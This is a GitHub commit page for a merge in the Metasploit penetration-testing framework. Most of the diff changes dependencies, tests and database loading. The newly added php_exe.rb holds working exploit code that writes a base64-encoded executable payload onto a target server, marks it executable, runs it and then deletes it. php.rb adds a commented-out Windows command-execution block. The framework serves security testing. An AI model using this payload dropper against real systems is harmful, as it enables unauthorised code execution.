Skip to content

Commit 1d91280

Browse files
committed
Merge branch 'master' into feature/gemize-kissfft
2 parents f2dd4d4 + 2acfb05 commit 1d91280

34 files changed

+1698
-453
lines changed

.rspec

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
--color
2+
--format documentation

Gemfile

Lines changed: 14 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,14 +2,26 @@ source 'http://rubygems.org'
22

33
# Need 3+ for ActiveSupport::Concern
44
gem 'activesupport', '>= 3.0.0'
5+
# Needed for Msf::DbManager
6+
gem 'activerecord'
7+
# Database models shared between framework and Pro.
8+
gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git'
59
# Needed for module caching in Mdm::ModuleDetails
610
gem 'pg', '>= 0.11'
711

812
group :development do
9-
# running documentation generation tasks
10-
gem 'rake'
1113
# Markdown formatting for yard
1214
gem 'redcarpet'
1315
# generating documentation
1416
gem 'yard'
1517
end
18+
19+
group :development, :test do
20+
# running documentation generation tasks and rspec tasks
21+
gem 'rake'
22+
end
23+
24+
group :test do
25+
# testing framework
26+
gem 'rspec'
27+
end

Gemfile.lock

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,22 +1,62 @@
1+
GIT
2+
remote: git://github.com/rapid7/metasploit_data_models.git
3+
revision: dd6c3a31c5ad8b55f4913b5ba20307178ba9c7bf
4+
specs:
5+
metasploit_data_models (0.0.2)
6+
activerecord
7+
activesupport
8+
pg
9+
pry
10+
111
GEM
212
remote: http://rubygems.org/
313
specs:
14+
activemodel (3.2.8)
15+
activesupport (= 3.2.8)
16+
builder (~> 3.0.0)
17+
activerecord (3.2.8)
18+
activemodel (= 3.2.8)
19+
activesupport (= 3.2.8)
20+
arel (~> 3.0.2)
21+
tzinfo (~> 0.3.29)
422
activesupport (3.2.8)
523
i18n (~> 0.6)
624
multi_json (~> 1.0)
25+
arel (3.0.2)
26+
builder (3.0.3)
27+
coderay (1.0.8)
28+
diff-lcs (1.1.3)
729
i18n (0.6.1)
30+
method_source (0.8)
831
multi_json (1.3.6)
932
pg (0.14.1)
33+
pry (0.9.10)
34+
coderay (~> 1.0.5)
35+
method_source (~> 0.8)
36+
slop (~> 3.3.1)
1037
rake (0.9.2.2)
1138
redcarpet (2.1.1)
39+
rspec (2.11.0)
40+
rspec-core (~> 2.11.0)
41+
rspec-expectations (~> 2.11.0)
42+
rspec-mocks (~> 2.11.0)
43+
rspec-core (2.11.1)
44+
rspec-expectations (2.11.3)
45+
diff-lcs (~> 1.1.3)
46+
rspec-mocks (2.11.3)
47+
slop (3.3.3)
48+
tzinfo (0.3.33)
1249
yard (0.8.2.1)
1350

1451
PLATFORMS
1552
ruby
1653

1754
DEPENDENCIES
55+
activerecord
1856
activesupport (>= 3.0.0)
57+
metasploit_data_models!
1958
pg (>= 0.11)
2059
rake
2160
redcarpet
61+
rspec
2262
yard

Rakefile

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,12 @@
11
require 'bundler/setup'
22

3+
require 'rspec/core/rake_task'
34
require 'yard'
45

6+
RSpec::Core::RakeTask.new(:spec)
7+
8+
task :default => :spec
9+
510
namespace :yard do
611
yard_files = [
712
# Ruby source files first
4.83 KB
Binary file not shown.
4.83 KB
Binary file not shown.

lib/msf/core/db_manager.rb

Lines changed: 22 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -1,20 +1,12 @@
11
# -*- coding: binary -*-
2-
require "active_record"
32

3+
require 'msf/base/config'
44
require 'msf/core'
55
require 'msf/core/db'
66
require 'msf/core/task_manager'
77
require 'fileutils'
88
require 'shellwords'
99

10-
# Provide access to ActiveRecord models shared w/ commercial versions
11-
require "metasploit_data_models"
12-
13-
# Patches issues with ActiveRecord
14-
require "msf/core/patches/active_record"
15-
16-
17-
1810
module Msf
1911

2012
###
@@ -28,24 +20,14 @@ class DBManager
2820

2921
# Mainly, it's Ruby 1.9.1 that cause a lot of problems now, along with Ruby 1.8.6.
3022
# Ruby 1.8.7 actually seems okay, but why tempt fate? Let's say 1.9.3 and beyond.
31-
def self.warn_about_rubies
23+
def warn_about_rubies
3224
if ::RUBY_VERSION =~ /^1\.9\.[012]($|[^\d])/
3325
$stderr.puts "**************************************************************************************"
3426
$stderr.puts "Metasploit requires at least Ruby 1.9.3. For an easy upgrade path, see https://rvm.io/"
3527
$stderr.puts "**************************************************************************************"
3628
end
3729
end
3830

39-
# Only include Mdm if we're not using Metasploit commercial versions
40-
# If Mdm::Host is defined, the dynamically created classes
41-
# are already in the object space
42-
begin
43-
include MetasploitDataModels unless defined? Mdm::Host
44-
rescue NameError => e
45-
warn_about_rubies
46-
raise e
47-
end
48-
4931
# Provides :framework and other accessors
5032
include Framework::Offspring
5133

@@ -117,6 +99,14 @@ def initialize_database_support
11799
# Database drivers can reset our KCODE, do not let them
118100
$KCODE = 'NONE' if RUBY_VERSION =~ /^1\.8\./
119101

102+
require "active_record"
103+
104+
# Provide access to ActiveRecord models shared w/ commercial versions
105+
require "metasploit_data_models"
106+
107+
# Patches issues with ActiveRecord
108+
require "msf/core/patches/active_record"
109+
120110
@usable = true
121111

122112
rescue ::Exception => e
@@ -125,6 +115,18 @@ def initialize_database_support
125115
return false
126116
end
127117

118+
# Only include Mdm if we're not using Metasploit commercial versions
119+
# If Mdm::Host is defined, the dynamically created classes
120+
# are already in the object space
121+
begin
122+
unless defined? Mdm::Host
123+
self.class.send :include, MetasploitDataModels
124+
end
125+
rescue NameError => e
126+
warn_about_rubies
127+
raise e
128+
end
129+
128130
#
129131
# Determine what drivers are available
130132
#

lib/msf/core/exploit/php_exe.rb

Lines changed: 88 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,88 @@
1+
# -*- coding: binary -*-
2+
##
3+
# $Id$
4+
##
5+
6+
###
7+
#
8+
# This module exposes a simple method to create an payload in an executable.
9+
#
10+
###
11+
12+
load 'lib/msf/core/payload/php.rb'
13+
14+
module Msf
15+
module Exploit::PhpEXE
16+
include Exploit::EXE
17+
include Payload::Php
18+
19+
#
20+
# Generate a first-stage php payload.
21+
#
22+
# For ARCH_PHP targets, simply returns payload.encoded wrapped in <?php ?>
23+
# markers.
24+
#
25+
# For target architectures other than ARCH_PHP, this will base64 encode an
26+
# appropriate executable and drop it on the target system. After running
27+
# it, the generated code will attempt to unlink the dropped executable which
28+
# will certainly fail on Windows.
29+
#
30+
# @option opts [String] :writable_path A path on the victim where we can
31+
# write an executable. Uses current directory if not given.
32+
# @option opts [Boolean] :unlink_self Whether to call unlink(__FILE__); in
33+
# the payload. Good idea for arbitrary-file-upload vulns, bad idea for
34+
# write-to-a-config-file vulns
35+
#
36+
# @return [String] A PHP payload that will drop an executable for non-php
37+
# target architectures
38+
#
39+
# @todo Test on Windows
40+
def get_write_exec_payload(opts={})
41+
case target_arch.first
42+
when ARCH_PHP
43+
php = payload.encoded
44+
else
45+
bin_name = Rex::Text.rand_text_alpha(8)
46+
if opts[:writable_path]
47+
bin_name = [opts[:writable_path], bin_name].join("/")
48+
else
49+
bin_name = "./#{bin_name}"
50+
end
51+
if target["Platform"] == 'win'
52+
bin_name << ".exe"
53+
print_debug("Unable to clean up #{bin_name}, delete it manually")
54+
end
55+
p = Rex::Text.encode_base64(generate_payload_exe)
56+
php = %Q{
57+
error_reporting(0);
58+
$ex = "#{bin_name}";
59+
$f = fopen($ex, "wb");
60+
fwrite($f, base64_decode("#{p}"));
61+
fclose($f);
62+
chmod($ex, 0777);
63+
function my_cmd($cmd) {
64+
#{php_preamble}
65+
#{php_system_block};
66+
}
67+
if (FALSE === strpos(strtolower(PHP_OS), 'win' )) {
68+
my_cmd($ex . "&");
69+
} else {
70+
my_cmd($ex);
71+
}
72+
unlink($ex);
73+
}
74+
end
75+
76+
if opts[:unlink_self]
77+
php << "unlink(__FILE__);"
78+
end
79+
80+
php.gsub!(/#.*$/, '')
81+
php.gsub!(/[\t ]+/, ' ')
82+
php.gsub!(/\n/, ' ')
83+
return "<?php #{php} ?>"
84+
end
85+
86+
87+
end
88+
end

lib/msf/core/module_manager/module_paths.rb

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,8 @@
22
# Gems
33
#
44
require 'active_support/concern'
5+
require 'active_support/core_ext/hash'
6+
require 'active_support/core_ext/module'
57

68
# Deals with module paths in the {Msf::ModuleManager}
79
module Msf::ModuleManager::ModulePaths
@@ -15,24 +17,22 @@ def add_module_path(path)
1517
nested_paths = []
1618

1719
# remove trailing file separator
18-
path.sub!(/#{File::SEPARATOR}$/, '')
20+
path_without_trailing_file_separator = path.sub(/#{File::SEPARATOR}$/, '')
1921

20-
pathname = Pathname.new(path)
22+
# Make the path completely canonical
23+
pathname = Pathname.new(path_without_trailing_file_separator).expand_path
2124
extension = pathname.extname
2225

2326
if extension == Msf::Modules::Loader::Archive::ARCHIVE_EXTENSION
2427
unless pathname.exist?
25-
raise RuntimeError, "The path supplied does not exist", caller
28+
raise ArgumentError, "The path supplied does not exist", caller
2629
end
2730

28-
nested_paths << pathname.expand_path.to_s
31+
nested_paths << pathname.to_s
2932
else
30-
# Make the path completely canonical
31-
pathname = Pathname.new(path).expand_path
32-
3333
# Make sure the path is a valid directory
3434
unless pathname.directory?
35-
raise RuntimeError, "The path supplied is not a valid directory.", caller
35+
raise ArgumentError, "The path supplied is not a valid directory.", caller
3636
end
3737

3838
nested_paths << pathname.to_s
@@ -41,7 +41,7 @@ def add_module_path(path)
4141
fastlib_glob = pathname.join('**', "*#{Msf::Modules::Loader::Archive::ARCHIVE_EXTENSION}")
4242

4343
Dir.glob(fastlib_glob).each do |fastlib_path|
44-
nested_pathnames << fastlib_path
44+
nested_paths << fastlib_path
4545
end
4646
end
4747

lib/msf/core/payload/php.rb

Lines changed: 31 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -6,10 +6,17 @@
66
###
77
module Msf::Payload::Php
88

9-
def initialize(info = {})
10-
super(info)
11-
end
12-
9+
#
10+
# Generate a chunk of PHP code that should be eval'd before
11+
# #php_system_block.
12+
#
13+
# The generated code will initialize
14+
#
15+
# @options options [String] :disabled_varname PHP variable name in which to
16+
# store an array of disabled functions.
17+
#
18+
# @returns [String] A chunk of PHP code
19+
#
1320
def php_preamble(options = {})
1421
dis = options[:disabled_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
1522
dis = '$' + dis if (dis[0,1] != '$')
@@ -32,6 +39,20 @@ def php_preamble(options = {})
3239
return preamble
3340
end
3441

42+
#
43+
# Generate a chunk of PHP code that tries to run a command.
44+
#
45+
# @options options [String] :cmd_varname PHP variable name containing the
46+
# command to run
47+
# @options options [String] :disabled_varname PHP variable name containing
48+
# an array of disabled functions. See #php_preamble
49+
# @options options [String] :output_varname PHP variable name in which to
50+
# store the output of the command. Will contain 0 if no exec functions
51+
# work.
52+
#
53+
# @returns [String] A chunk of PHP code that, with a little luck, will run a
54+
# command.
55+
#
3556
def php_system_block(options = {})
3657
cmd = options[:cmd_varname] || '$cmd'
3758
dis = options[:disabled_varname] || @dis || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
@@ -102,12 +123,12 @@ def php_system_block(options = {})
102123
# Currently unused until we can figure out how to get output with COM
103124
# objects (which are not subject to safe mode restrictions) instead of
104125
# PHP functions.
105-
win32_com = "
106-
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
107-
$wscript = new COM('Wscript.Shell');
108-
$wscript->run(#{cmd} . ' > %TEMP%\\out.txt');
109-
#{output} = file_get_contents('%TEMP%\\out.txt');
110-
}else"
126+
#win32_com = "
127+
# if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
128+
# $wscript = new COM('Wscript.Shell');
129+
# $wscript->run(#{cmd} . ' > %TEMP%\\out.txt');
130+
# #{output} = file_get_contents('%TEMP%\\out.txt');
131+
# }else"
111132
fail_block = "
112133
{
113134
#{output}=0;

0 commit comments

Comments
 (0)